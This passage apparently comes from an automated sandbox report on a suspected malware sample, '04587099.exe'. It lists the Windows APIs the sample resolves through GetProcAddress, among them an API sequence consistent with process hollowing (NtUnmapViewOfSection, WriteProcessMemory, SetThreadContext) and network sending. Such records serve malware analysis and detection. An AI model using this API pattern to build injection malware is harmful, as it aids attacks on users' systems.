00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007112) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00004740) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005728) "04587099.exe" called 